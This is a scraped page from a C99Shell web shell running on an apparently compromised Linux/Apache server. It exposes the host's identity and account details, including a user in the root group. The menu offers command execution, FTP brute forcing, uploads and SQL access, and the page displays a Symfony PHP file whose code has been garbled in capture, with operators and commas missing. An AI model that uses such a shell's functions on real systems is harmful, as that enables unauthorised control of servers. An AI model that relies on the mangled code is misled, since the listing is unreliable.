!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/symfony/var-exporter/Internal/   drwxr-xr-x
Free 29.17 GB of 117.98 GB (24.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LazyObjectState.php (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarExporter\Internal;

use 
Symfony\Component\VarExporter\Hydrator as PublicHydrator;

/**
 * Keeps the state of lazy objects.
 *
 * As a micro-optimization, this class uses no type declarations.
 *
 * @internal
 */
class LazyObjectState
{
    public const 
STATUS_UNINITIALIZED_FULL 1;
    public const 
STATUS_UNINITIALIZED_PARTIAL 2;
    public const 
STATUS_INITIALIZED_FULL 3;
    public const 
STATUS_INITIALIZED_PARTIAL 4;

    
/**
     * @var self::STATUS_*
     */
    
public int $status self::STATUS_UNINITIALIZED_FULL;

    public 
object $realInstance;

    
/**
     * @param array<string, true> $skippedProperties
     */
    
public function __construct(
        public readonly 
\Closure $initializer,
        public readonly array 
$skippedProperties = [],
    ) {
    }

    public function 
initialize($instance$propertyName$propertyScope)
    {
        if (
self::STATUS_UNINITIALIZED_FULL !== $this->status) {
            return 
$this->status;
        }

        
$this->status self::STATUS_INITIALIZED_PARTIAL;

        try {
            if (
$defaultProperties array_diff_key(LazyObjectRegistry::$defaultProperties[$instance::class], $this->skippedProperties)) {
                
PublicHydrator::hydrate($instance$defaultProperties);
            }

            (
$this->initializer)($instance);
        } catch (
\Throwable $e) {
            
$this->status self::STATUS_UNINITIALIZED_FULL;
            
$this->reset($instance);

            throw 
$e;
        }

        return 
$this->status self::STATUS_INITIALIZED_FULL;
    }

    public function 
reset($instance): void
    
{
        
$class $instance::class;
        
$propertyScopes Hydrator::$propertyScopes[$class] ??= Hydrator::getPropertyScopes($class);
        
$skippedProperties $this->skippedProperties;
        
$properties = (array) $instance;

        foreach (
$propertyScopes as $key => [$scope$name$readonlyScope]) {
            
$propertyScopes[$k "\0$scope\0$name"] ?? $propertyScopes[$k "\0*\0$name"] ?? $k $name;

            if (
$k === $key && (null !== $readonlyScope || !\array_key_exists($k$properties))) {
                
$skippedProperties[$k] = true;
            }
        }

        foreach (
LazyObjectRegistry::$classResetters[$class] as $reset) {
            
$reset($instance$skippedProperties);
        }

        foreach ((array) 
$instance as $name => $value) {
            if (
"\0" !== ($name[0] ?? '') && !\array_key_exists($name$skippedProperties)) {
                unset(
$instance->$name);
            }
        }

        
$this->status self::STATUS_UNINITIALIZED_FULL;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--